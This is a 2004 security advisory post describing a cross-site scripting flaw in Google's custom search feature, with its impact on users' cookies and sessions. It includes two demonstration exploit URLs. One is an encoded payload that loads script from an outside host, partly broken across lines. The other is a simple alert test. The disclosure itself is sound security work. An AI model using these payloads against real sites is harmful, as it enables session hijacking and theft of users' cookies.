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| | Google Input Validation Bug in Custom Search Feature Lets Remote Users Conduct Cross-Site Scripting Attacks |
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Categorie: Vulnerability
Posted: 2004-10-20 by ReCall
Views: 529
Source: Click here
| Current Rating: Not rated
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| | Details |
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Description: An input validation vulnerability was reported in Google in the custom web search feature. A remote user can conduct cross-site scripting attacks.
Jim Ley reported that 'custom' script does not properly validate user-supplied input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the Google web site and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/custom?cof=L:%6a%61%76%61%73%63%72%69%70%74%3a%6a%61%76%61%73%63%72%69%70%74%3a%64%6f%63%75%6d%65%6e%74%2e%61%70%70%65%6e%64%43%68%6 9%
9%70%74%27%29%29%2e%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6a%69%62%62%65%72%69%6e%67%2e%63%6f%6d%2f%74%65%73%74%32%2e%6a%73%27
http://[target]/custom?cof=L:javascrip t:javascript:alert('EEK!')
The vendor has been notified.
Additional information is available at:
http://jibbering.com/2004/10/google.html
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the Google web site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution: No solution was available at the time of this entry.
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